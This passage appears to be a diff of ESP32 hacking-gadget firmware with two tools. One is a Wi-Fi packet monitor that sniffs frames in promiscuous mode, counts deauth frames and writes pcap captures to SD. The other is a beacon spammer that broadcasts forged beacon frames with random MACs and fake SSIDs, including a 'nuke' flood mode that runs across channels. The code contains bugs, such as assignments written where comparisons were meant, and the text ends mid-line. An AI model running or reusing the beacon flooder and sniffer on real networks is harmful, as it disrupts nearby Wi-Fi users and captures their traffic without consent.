-#ifdef TFT_WHITE -#undef TFT_WHITE -#endif -#define TFT_WHITE FEATURE_TEXT - -#ifdef WHITE -#undef WHITE -#endif -#define WHITE FEATURE_WHITE - -#ifdef DARK_GRAY -#undef DARK_GRAY -#endif -#define DARK_GRAY UI_FG - -namespace PacketMonitor { - -#define MAX_CH 14 -#define SNAP_LEN 2324 - -static constexpr uint32_t PCAP_MAGIC_USEC = 0xa1b2c3d4; -static constexpr uint16_t PCAP_VER_MAJOR = 2; -static constexpr uint16_t PCAP_VER_MINOR = 4; -static constexpr uint32_t PCAP_SNAPLEN = 65535; -static constexpr uint32_t PCAP_DLT_IEEE802_11_RADIO = 127; - -static constexpr uint16_t RADIOTAP_LEN = 19; -static constexpr uint32_t RADIOTAP_PRESENT = - (1u << 1) | - (1u << 3) | - (1u << 5) | - (1u << 11) | - (1u << 19); - -struct __attribute__((packed)) RadiotapHdr16 { - uint8_t it_version; - uint8_t it_pad; - uint16_t it_len; - uint32_t it_present; - uint8_t flags; - uint8_t pad2; - uint16_t chan_freq; - uint16_t chan_flags; - int8_t dbm_antsignal; - uint8_t antenna; - uint8_t mcs_known; - uint8_t mcs_flags; - uint8_t mcs; -}; - -struct __attribute__((packed)) PcapGlobalHeader { - uint32_t magic_number; - uint16_t version_major; - uint16_t version_minor; - int32_t thiszone; - uint32_t sigfigs; - uint32_t snaplen; - uint32_t network; -}; - -struct __attribute__((packed)) PcapRecordHeader { - uint32_t ts_sec; - uint32_t ts_usec; - uint32_t incl_len; - uint32_t orig_len; -}; - -static bool pcapEnabled = false; -static bool pcapMounted = false; -static File pcapFile; -static String pcapPath; -static uint32_t pcapPacketsWritten = 0; -static uint32_t pcapDropped = 0; -static uint32_t pcapLastFlushMs = 0; - -static constexpr uint8_t PCAP_POOL_SIZE = 10; -struct PcapSlot { - PcapRecordHeader hdr; - uint16_t caplen; - uint8_t data[SNAP_LEN + RADIOTAP_LEN]; -}; -static PcapSlot pcapPool[PCAP_POOL_SIZE]; -static QueueHandle_t pcapFreeQ = nullptr; -static QueueHandle_t pcapWriteQ = nullptr; - -static bool pcapMountSD() { - if (pcapMounted) { - if (SD.exists("/")) return true; - pcapMounted = false; - } - - #ifdef SD_CD - pinMode(SD_CD, INPUT_PULLUP); - if (digitalRead(SD_CD)) return false; - #endif - - #ifdef SD_SCLK - #ifdef SD_MISO - #ifdef SD_MOSI - #ifdef SD_CS - SPI.begin(SD_SCLK, SD_MISO, SD_MOSI, SD_CS); - #endif - #endif - #endif - #endif - - #ifdef SD_CS - if (SD.begin(SD_CS)) { pcapMounted = true; return true; } - #endif - - #ifdef SD_CS_PIN - #ifdef CC1101_CS - if (SD_CS_PIN != CC1101_CS) { - if (SD.begin(SD_CS_PIN)) { pcapMounted = true; return true; } - } - #else - if (SD.begin(SD_CS_PIN)) { pcapMounted = true; return true; } - #endif - #endif - - return false; -} - -static bool pcapEnsureDir(const char* dirPath) { - if (!pcapMountSD()) return false; - if (SD.exists(dirPath)) return true; - if (SD.mkdir(dirPath)) return true; - if (dirPath && dirPath[0] == '/') return SD.mkdir(dirPath + 1); - return false; -} - -static bool pcapMakeNextPath(String& outPath) { - - for (uint16_t i = 0; i < 10000; i++) { - char buf[64]; - snprintf(buf, sizeof(buf), "%s/ptm_%04u.pcap", CAPTURE_DIR, (unsigned)i); - if (!SD.exists(buf)) { outPath = String(buf); return true; } - } - return false; -} - -static void pcapDisableAndCloseFile() { - pcapEnabled = false; - - if (pcapWriteQ && pcapFreeQ) { - uint8_t slotIdx; - while (xQueueReceive(pcapWriteQ, &slotIdx, 0) == pdTRUE) { - xQueueSend(pcapFreeQ, &slotIdx, 0); - } - } - - if (pcapFile) { - pcapFile.flush(); - pcapFile.close(); - } - pcapPath = ""; -} - -static void pcapStop() { - pcapDisableAndCloseFile(); - - if (pcapWriteQ) { vQueueDelete(pcapWriteQ); pcapWriteQ = nullptr; } - if (pcapFreeQ) { vQueueDelete(pcapFreeQ); pcapFreeQ = nullptr; } - - pcapPacketsWritten = 0; - pcapDropped = 0; - pcapLastFlushMs = 0; -} - -static void pcapStart() { - - pcapStop(); - - if (!pcapEnsureDir(CAPTURE_DIR)) return; - if (!pcapMakeNextPath(pcapPath)) return; - - pcapFile = SD.open(pcapPath.c_str(), FILE_WRITE); - if (!pcapFile) { pcapPath = ""; return; } - - PcapGlobalHeader gh{}; - gh.magic_number = PCAP_MAGIC_USEC; - gh.version_major = PCAP_VER_MAJOR; - gh.version_minor = PCAP_VER_MINOR; - gh.thiszone = 0; - gh.sigfigs = 0; - gh.snaplen = PCAP_SNAPLEN; - gh.network = PCAP_DLT_IEEE802_11_RADIO; - if (pcapFile.write((const uint8_t*)&gh, sizeof(gh)) != sizeof(gh)) { - pcapFile.close(); - pcapPath = ""; - return; - } - - pcapFreeQ = xQueueCreate(PCAP_POOL_SIZE, sizeof(uint8_t)); - pcapWriteQ = xQueueCreate(PCAP_POOL_SIZE, sizeof(uint8_t)); - if (!pcapFreeQ || !pcapWriteQ) { - pcapStop(); - return; - } - - for (uint8_t i = 0; i < PCAP_POOL_SIZE; i++) { - xQueueSend(pcapFreeQ, &i, 0); - } - - pcapEnabled = true; - pcapLastFlushMs = millis(); -} - -static uint16_t pcapChannelToFreqMHz(uint8_t channel) { - if (channel == 14) return 2484; - if (channel >= 1 && channel <= 13) return (uint16_t)(2407 + channel * 5); - - if (channel >= 32) return (uint16_t)(5000 + channel * 5); - return 0; -} - -static uint16_t pcapChannelFlags(uint16_t freqMHz) { - - if (freqMHz >= 2400 && freqMHz < 2500) return 0x0080; - if (freqMHz >= 4900 && freqMHz < 6000) return 0x0100; - return 0; -} - -#define MAX_X 240 -#define MAX_Y 320 - -arduinoFFT FFT = arduinoFFT(); - -bool btnLeftPressed = false; -bool btnRightPressed = false; - -Preferences preferences; - -const uint16_t samples = 256; -const double samplingFrequency = 5000; - -double attenuation = 10; - -unsigned int sampling_period_us; -unsigned long microseconds; - -double vReal[samples]; -double vImag[samples]; - -byte palette_red[128], palette_green[128], palette_blue[128]; - -bool buttonPressed = false; -bool buttonEnabled = true; -uint32_t lastDrawTime; -uint32_t lastButtonTime; -uint32_t tmpPacketCounter; -uint32_t pkts[MAX_X]; -uint32_t deauths = 0; -unsigned int ch = 1; -int rssiSum; - -unsigned int epoch = 0; -unsigned int color_cursor = 2016; - -void do_sampling_FFT() { - - microseconds = micros(); - - for (int i = 0; i < samples; i++) { - vReal[i] = tmpPacketCounter * 300; - vImag[i] = 1; - while (micros() - microseconds < sampling_period_us) { - - } - microseconds += sampling_period_us; - } - - double mean = 0; - - for (uint16_t i = 0; i < samples; i++) - mean += vReal[i]; - mean /= samples; - for (uint16_t i = 0; i < samples; i++) - vReal[i] -= mean; - - microseconds = micros(); - - FFT.Windowing(vReal, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD); - FFT.Compute(vReal, vImag, samples, FFT_FORWARD); - FFT.ComplexToMagnitude(vReal, vImag, samples); - - unsigned int left_x = 120; - unsigned int graph_y_offset = 91; - int max_k = 0; - - for (int j = 0; j < samples >> 1; j++) { - int k = vReal[j] / attenuation; - if (k > max_k) - max_k = k; - if (k > 127) k = 127; - - unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; - unsigned int vertical_x = left_x + j; - - tft.drawPixel(vertical_x, epoch + graph_y_offset, color); - } - - for (int j = 0; j < samples >> 1; j++) { - int k = vReal[j] / attenuation; - if (k > max_k) - max_k = k; - if (k > 127) k = 127; - - unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; - unsigned int mirrored_x = left_x - j; - tft.drawPixel(mirrored_x, epoch + graph_y_offset, color); - } - - unsigned int area_graph_x_offset = 120; - unsigned int area_graph_height = 50; - unsigned int area_graph_y_offset = 38; - - static int last_y[samples >> 1] = {0}; - tft.fillRect(area_graph_x_offset, area_graph_y_offset, (samples >> 1), area_graph_height, TFT_BLACK); - - for (int j = 0; j < samples >> 1; j++) { - int k = vReal[j] / attenuation; - if (k > 127) k = 127; - - unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; - int current_y = area_graph_height - - (int)::map(k, 0, 127, 0, area_graph_height) - + area_graph_y_offset; - unsigned int x = area_graph_x_offset + j; - - if (j > 0) { - tft.fillTriangle(x - 1, area_graph_y_offset + area_graph_height, x, area_graph_y_offset + area_graph_height, x - 1, last_y[j - 1], color); - tft.fillTriangle(x - 1, last_y[j - 1], x, area_graph_y_offset + area_graph_height, x, current_y, color); - } - last_y[j] = current_y; - } - - unsigned int area_graph_width = (samples >> 1); - unsigned int area_graph_x_offset_flipped = -7; - - tft.fillRect(area_graph_x_offset_flipped, area_graph_y_offset, area_graph_width, area_graph_height, TFT_BLACK); - - for (int j = 0; j < samples >> 1; j++) { - int k = vReal[j] / attenuation; - if (k > 127) k = 127; - - unsigned int color = palette_red[k] << 11 | palette_green[k] << 5 | palette_blue[k]; - int current_y = area_graph_height - - (int)::map(k, 0, 127, 0, area_graph_height) - + area_graph_y_offset; - unsigned int x = area_graph_x_offset_flipped + area_graph_width - j - 1; - - if (j > 0) { - tft.fillTriangle(x + 1, area_graph_y_offset + area_graph_height, x, area_graph_y_offset + area_graph_height, x + 1, last_y[j - 1], color); - tft.fillTriangle(x + 1, last_y[j - 1], x, area_graph_y_offset + area_graph_height, x, current_y, color); - } - last_y[j] = current_y; - } - - double tattenuation = max_k / 127.0; - - if (tattenuation > attenuation) - attenuation = tattenuation; - - tft.setTextColor(TFT_WHITE); - tft.setTextSize(1); - tft.setTextFont(1); - - tft.fillRect(30, 20, 130, 16, DARK_GRAY); - - tft.setCursor(35, 24); - tft.print("Ch:"); - tft.print(ch); - - tft.setCursor(80, 24); - tft.print("Packet:"); - tft.print(tmpPacketCounter); - - delay(10); -} - -esp_err_t event_handler(void* ctx, system_event_t* event) { - return ESP_OK; -} - -double getMultiplicator() { - uint32_t maxVal = 1; - for (int i = 0; i < MAX_X; i++) { - if (pkts[i] > maxVal) maxVal = pkts[i]; - } - if (maxVal > MAX_Y) return (double)MAX_Y / (double)maxVal; - else return 1; -} - -void wifi_promiscuous(void* buf, wifi_promiscuous_pkt_type_t type) { - wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; - wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl; - - if (type == WIFI_PKT_MGMT && (pkt->payload[0] == 0xA0 || pkt->payload[0] == 0xC0 )) deauths++; - - if (type == WIFI_PKT_MISC) return; - if (ctrl.sig_len > SNAP_LEN) return; - - const uint16_t packetLength = (uint16_t)ctrl.sig_len; - tmpPacketCounter++; - rssiSum += ctrl.rssi; - - if (!pcapEnabled || !pcapFile || !pcapFreeQ || !pcapWriteQ) return; - - uint8_t slotIdx; - if (xQueueReceive(pcapFreeQ, &slotIdx, 0) != pdTRUE) { - pcapDropped++; - return; - } - - if (slotIdx >= PCAP_POOL_SIZE) { - - pcapDropped++; - return; - } - - PcapSlot& s = pcapPool[slotIdx]; - - const int64_t nowUs = esp_timer_get_time(); - s.hdr.ts_sec = (uint32_t)(nowUs / 1000000LL); - s.hdr.ts_usec = (uint32_t)(nowUs % 1000000LL); - - const uint16_t freq = pcapChannelToFreqMHz((uint8_t)ctrl.channel); - RadiotapHdr16 rt{}; - rt.it_version = 0; - rt.it_pad = 0; - rt.it_len = RADIOTAP_LEN; - rt.it_present = RADIOTAP_PRESENT; - rt.flags = 0; - rt.pad2 = 0; - rt.chan_freq = freq; - rt.chan_flags = pcapChannelFlags(freq); - rt.dbm_antsignal = (int8_t)ctrl.rssi; - rt.antenna = 0; - rt.mcs_known = 0; - rt.mcs_flags = 0; - rt.mcs = 0; - - if (ctrl.sig_mode == 1) { - - rt.mcs_known = - (1u << 0) | - (1u << 1) | - (1u << 2) | - (1u << 4) | - (1u << 5); - - const uint8_t bw = (ctrl.cwb ? 1 : 0); - rt.mcs_flags |= (bw & 0x3); - if (ctrl.sgi) rt.mcs_flags |= (1u << 2); - if (ctrl.fec_coding) rt.mcs_flags |= (1u << 4); - if (ctrl.stbc) rt.mcs_flags |= (1u << 5); - - rt.mcs = ctrl.mcs; - } - - const uint16_t totalLen = (uint16_t)(RADIOTAP_LEN + packetLength); - s.hdr.incl_len = totalLen; - s.hdr.orig_len = totalLen; - s.caplen = totalLen; - memcpy(s.data, &rt, RADIOTAP_LEN); - memcpy(s.data + RADIOTAP_LEN, pkt->payload, packetLength); - - if (xQueueSend(pcapWriteQ, &slotIdx, 0) != pdTRUE) { - - xQueueSend(pcapFreeQ, &slotIdx, 0); - pcapDropped++; - return; - } -} - -void setChannel(int newChannel) { - ch = newChannel; - if (ch > MAX_CH || ch < 1) ch = 1; - - preferences.begin("packetmonitor32", false); - preferences.putUInt("channel", ch); - preferences.end(); - - esp_wifi_set_promiscuous(false); - esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); - esp_wifi_set_promiscuous_rx_cb(&wifi_promiscuous); - esp_wifi_set_promiscuous(true); -} - -void draw() { - double multiplicator = getMultiplicator(); - int len; - int rssi; - - if (pkts[MAX_X - 1] > 0) rssi = rssiSum / (int)pkts[MAX_X - 1]; - else rssi = rssiSum; -} - -static bool uiDrawn = false; - -void runUI() { -#define SCREEN_WIDTH 240 -#define SCREEN_HEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 3 - - static int iconX[ICON_NUM] = {170, 210, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_sort_up_plus, - bitmap_icon_sort_down_minus, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.fillRect(160, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 160, STATUS_BAR_HEIGHT, DARK_GRAY); - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - - if (animationState > 0 && millis() - lastAnimationTime >= 150) { - if (animationState == 1) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - } else if (animationState == 2) { - animationState = 0; - activeIcon = -1; - } - lastAnimationTime = millis(); - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 2) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - - switch (i) { - case 0: setChannel(ch + 1); break; - case 1: setChannel(ch - 1); break; - } - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void ptmSetup() { - Serial.begin(115200); - - pcf.pinMode(BTN_UP, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - - tft.fillScreen(TFT_BLACK); - - setupTouchscreen(); - - sampling_period_us = round(1000000 * (1.0 / samplingFrequency)); - - for (int i = 0; i < 32; i++) { - palette_red[i] = i / 2; - palette_green[i] = 0; - palette_blue[i] = i; - } - for (int i = 32; i < 64; i++) { - palette_red[i] = i / 2; - palette_green[i] = 0; - palette_blue[i] = 63 - i; - } - for (int i = 64; i < 96; i++) { - palette_red[i] = 31; - palette_green[i] = (i - 64) * 2; - palette_blue[i] = 0; - } - for (int i = 96; i < 128; i++) { - palette_red[i] = 31; - palette_green[i] = 63; - palette_blue[i] = i - 96; - } - - sampling_period_us = round(1000000 * (1.0 / samplingFrequency)); - - preferences.begin("packetmonitor32", false); - ch = preferences.getUInt("channel", 1); - preferences.end(); - - nvs_flash_init(); - tcpip_adapter_init(); - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - - ESP_ERROR_CHECK(esp_wifi_init(&cfg)); - - ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); - ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_NULL)); - ESP_ERROR_CHECK(esp_wifi_start()); - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - - uiDrawn = false; - tft.fillRect(0, 20, 160, 16, DARK_GRAY); - - pcapStart(); - if (pcapEnabled && pcapPath.length()) { - Serial.printf("[PCAP] PacketMonitor logging to SD: %s\n", pcapPath.c_str()); - } else { - Serial.println("[PCAP] PacketMonitor: SD/PCAP logging not started (no SD or open failed)."); - } -} - -void ptmLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - - esp_wifi_set_promiscuous(false); - if (pcapPacketsWritten || pcapDropped) { - Serial.printf("[PCAP] PacketMonitor stopped. written=%lu dropped=%lu\n", - (unsigned long)pcapPacketsWritten, (unsigned long)pcapDropped); - } - pcapStop(); - feature_exit_requested = true; - return; - } - - runUI(); - if (feature_exit_requested) { - esp_wifi_set_promiscuous(false); - if (pcapPacketsWritten || pcapDropped) { - Serial.printf("[PCAP] PacketMonitor stopped. written=%lu dropped=%lu\n", - (unsigned long)pcapPacketsWritten, (unsigned long)pcapDropped); - } - pcapStop(); - return; - } - updateStatusBar(); - - esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); - - esp_wifi_set_promiscuous_rx_cb(&wifi_promiscuous); - esp_wifi_set_promiscuous(true); - - if (pcapEnabled && pcapFile && pcapWriteQ && pcapFreeQ) { - uint8_t slotIdx; - - uint16_t drained = 0; - while (drained < 12 && xQueueReceive(pcapWriteQ, &slotIdx, 0) == pdTRUE) { - if (slotIdx < PCAP_POOL_SIZE) { - PcapSlot& s = pcapPool[slotIdx]; - const size_t wroteHdr = pcapFile.write((const uint8_t*)&s.hdr, sizeof(s.hdr)); - const size_t wrotePkt = pcapFile.write(s.data, s.caplen); - if (wroteHdr == sizeof(s.hdr) && wrotePkt == s.caplen) { - pcapPacketsWritten++; - } else { - - pcapDisableAndCloseFile(); - } - } - xQueueSend(pcapFreeQ, &slotIdx, 0); - drained++; - } - - const uint32_t now = millis(); - if (pcapFile && (now - pcapLastFlushMs) > 1000) { - pcapFile.flush(); - pcapLastFlushMs = now; - } - } - - tft.drawLine(0, 90, 240, 90, TFT_WHITE); - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - do_sampling_FFT(); - delay(10); - epoch++; - - if (epoch >= tft.width()) - epoch = 0; - - static uint32_t lastButtonTime = 0; - const uint32_t debounceDelay = 200; - - bool leftButtonState = !pcf.digitalRead(BTN_LEFT); - bool rightButtonState = !pcf.digitalRead(BTN_RIGHT); - - uint32_t currentTime = millis(); - - if (leftButtonState && !btnLeftPressed && (currentTime - lastButtonTime > debounceDelay)) { - btnLeftPressed = true; - setChannel(ch - 1); - lastButtonTime = currentTime; - } else if (!leftButtonState) { - btnLeftPressed = false; - } - - if (rightButtonState && !btnRightPressed && (currentTime - lastButtonTime > debounceDelay)) { - btnRightPressed = true; - setChannel(ch + 1); - lastButtonTime = currentTime; - } else if (!rightButtonState) { - btnRightPressed = false; - } - - pkts[127] = tmpPacketCounter; - - tmpPacketCounter = 0; - deauths = 0; - rssiSum = 0; - } -} - -namespace BeaconSpammer { - -bool btnLeftPress; -bool btnRightPress; -bool btnSelectPress; - -String ssidList[] = { - "404_SSID_Not_Found", "Free_WiFi_Promise", "PrettyFlyForAWiFi", "Wi-Fight_The_Power", - "Tell_My_WiFi_LoveHer", "Wu-Tang_LAN", "LAN_of_the_Free", "No_More_Data", - "Panic!_At_the_WiFi", "HideYoKidsHideYoWiFi", "Definitely_Not_A_Spy", "Click_and_Die", - "DropItLikeItsHotspot", "Loading...", "I_AM_Watching_You", "Why_Tho?", - "Get_Your_Own_WiFi", "NSA_Surveillance_Van", "WiFi_Fairy", "Undercover_Potato", - "TheLANBeforeTime", "ItHurtsWhen_IP", "IPFreely", "NoInternetHere", - "LookMaNoCables", "Router?IHardlyKnewHer", "ShutUpAndConnect", "Mom_UseThisOne", - "Not_for_You", "OopsAllSSID", "ItsOver9000", "Bob's_Wifi_Burgers", - "Overclocked_Toaster", "Pikachu_Used_WiFi", "Cheese_Bandit", "Quantum_Tunnel", - "Meme_LANd" -}; - -const int ssidCount = sizeof(ssidList) / sizeof(ssidList[0]); - -uint8_t spamchannel = 1; -bool spam = false; -int y_offset = 20; - -static uint8_t lastSpamChannel = 0xFF; -static bool lastSpamState = !false; - -uint8_t packet[128] = {0x80, 0x00, 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, - 0xc0, 0x6c, - 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, - 0x64, 0x00, - 0x01, 0x04, - 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, - 0x01, 0x08, 0x82, 0x84, - 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, - 0x04 - }; - -void handleLeftButton() { - spamchannel = (spamchannel == 1) ? 14 : spamchannel - 1; -} - -void handleRightButton() { - spamchannel = (spamchannel == 14) ? 1 : spamchannel + 1; -} - -void handleSelectButton() { - spam = !spam; -} - -void output() { - - tft.fillRect(0, 40, tft.width(), tft.height(), TFT_BLACK); - - tft.setTextFont(1); - tft.setTextSize(1); - tft.setTextColor(TFT_YELLOW, TFT_BLACK); - tft.setCursor(2, 30 + y_offset); - tft.print("[!] Preparing"); - - for (int i = 0; i < 3; i++) { - tft.print("."); - delay(random(1000)); - } - - tft.setCursor(2, 50 + y_offset); - tft.setTextColor(TFT_CYAN, TFT_BLACK); - tft.print("[*] Configuring channel to "); - tft.setTextColor(TFT_CYAN, TFT_BLACK); - tft.print("("); - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.print(spamchannel); - tft.setTextColor(TFT_CYAN, TFT_BLACK); - tft.print(")"); - delay(random(500)); - - tft.setCursor(2, 70 + y_offset); - tft.setTextColor(TFT_YELLOW, TFT_BLACK); - tft.print("[!] SSID generated successfully"); - delay(random(500)); - - tft.setCursor(2, 80 + y_offset); - tft.setTextColor(TFT_YELLOW, TFT_BLACK); - tft.print("[!] Setting random SRC MAC"); - delay(random(500)); - - tft.setCursor(2, 110 + y_offset); - tft.setTextColor(TFT_CYAN, TFT_BLACK); - tft.print("[*] Starting broadcast"); - delay(random(500)); - - for (int i = 0; i < 18; i++) { - tft.setCursor(2, 130 + i * 10 + y_offset); - String randomSSID = ssidList[random(ssidCount)]; - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.print("[+] "); - tft.print(randomSSID); - delay(random(500)); - } -} - -void spammer() { - esp_wifi_set_channel(spamchannel, WIFI_SECOND_CHAN_NONE); - - for (int i = 10; i <= 21; i++) { - packet[i] = random(256); - } - - String randomSSID = ssidList[random(ssidCount)]; - int ssidLength = randomSSID.length(); - packet[37] = ssidLength; - - for (int i = 0; i < ssidLength; i++) { - packet[38 + i] = randomSSID[i]; - } - - for (int i = 38 + ssidLength; i <= 43; i++) { - packet[i] = 0x00; - } - - packet[56] = spamchannel; - - esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); - - delay(1); -} - -void beaconSpam() { - String ssid = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_"; - byte channel; - - uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, - 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, - 0xc0, 0x6c, - 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, - 0x64, 0x00, - 0x01, 0x04, - 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, - 0x01, 0x08, 0x82, 0x84, - 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, - 0x04}; - - tft.setTextFont(1); - tft.setTextSize(1); - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.fillRect(0, 40, tft.width(), tft.height(), TFT_BLACK); - tft.setCursor(2, 30 + y_offset); - tft.print("[!!] FUCK IT"); - tft.setCursor(2, 50 + y_offset); - tft.print("[!!] Press [Select] to exit"); - - delay(500); - - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_err_t err = esp_wifi_init(&cfg); - if (err != ESP_OK) { - Serial.printf("WiFi init failed: %d\n", err); - return; - } - - err = esp_wifi_set_storage(WIFI_STORAGE_RAM); - if (err != ESP_OK) { - Serial.printf("Storage set failed: %d\n", err); - return; - } - - err = esp_wifi_set_mode(WIFI_MODE_AP); - if (err != ESP_OK) { - Serial.printf("Mode set failed: %d\n", err); - return; - } - - err = esp_wifi_start(); - if (err != ESP_OK) { - Serial.printf("WiFi start failed: %d\n", err); - return; - } - - err = esp_wifi_set_promiscuous(true); - if (err != ESP_OK) { - Serial.printf("Promiscuous set failed: %d\n", err); - return; - } - - while (true) { - channel = random(1, 13); - esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); - - for (int i = 10; i <= 15; i++) { - packet[i] = random(256); - } - for (int i = 16; i <= 21; i++) { - packet[i] = random(256); - } - - packet[38] = ssid[random(65)]; - packet[39] = ssid[random(65)]; - packet[40] = ssid[random(65)]; - packet[41] = ssid[random(65)]; - packet[42] = ssid[random(65)]; - packet[43] = ssid[random(65)]; - - packet[56] = channel; - - esp_err_t result; - result = esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); - if (result != ESP_OK) { - Serial.printf("Packet 1 send failed: %d\n", result); - } - result = esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); - if (result != ESP_OK) { - Serial.printf("Packet 2 send failed: %d\n", result); - } - result = esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); - if (result != ESP_OK) { - Serial.printf("Packet 3 send failed: %d\n", result); - } - - delay(1); - - if (pcf.digitalRead(BTN_SELECT) == LOW) { - break; - } - - } -} - -static bool uiDrawn = false; - -void runUI() { -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 5 - - static int iconX[ICON_NUM] = {130, 160, 190, 220, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_sort_down_minus, - bitmap_icon_sort_up_plus, - bitmap_icon_start, - bitmap_icon_nuke, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.fillRect(120, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 120, STATUS_BAR_HEIGHT, DARK_GRAY); - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - static unsigned long lastSpamTime = 0; - - switch (animationState) { - case 0: - break; - - case 1: - if (millis() - lastAnimationTime >= 150) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - lastAnimationTime = millis(); - } - break; - - case 2: - if (millis() - lastAnimationTime >= 200) { - animationState = 3; - lastAnimationTime = millis(); - } - break; - - case 3: - switch (activeIcon) { - case 0: - handleLeftButton(); - animationState = 0; - activeIcon = -1; - break; - case 1: - handleRightButton(); - animationState = 0; - activeIcon = -1; - break; - case 2: - handleSelectButton(); - if (spam) { - animationState = 4; - } else { - animationState = 0; - activeIcon = -1; - } - break; - case 3: - beaconSpam(); - animationState = 0; - activeIcon = -1; - break; - - case 4: - feature_exit_requested = true; - animationState = 0; - activeIcon = -1; - break; - } - break; - - case 4: - if (spam) { - if (millis() - lastSpamTime >= 50) { - spammer(); - - if (activeIcon = 3) { - output(); - } - if (activeIcon = 3) { - animationState = 5; - } - lastSpamTime = millis(); - } - } else { - animationState = 0; - activeIcon = -1; - } - break; - - case 5: - if (millis() - lastSpamTime >= 50) { - animationState = 0; - activeIcon = -1; - } - break; - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && 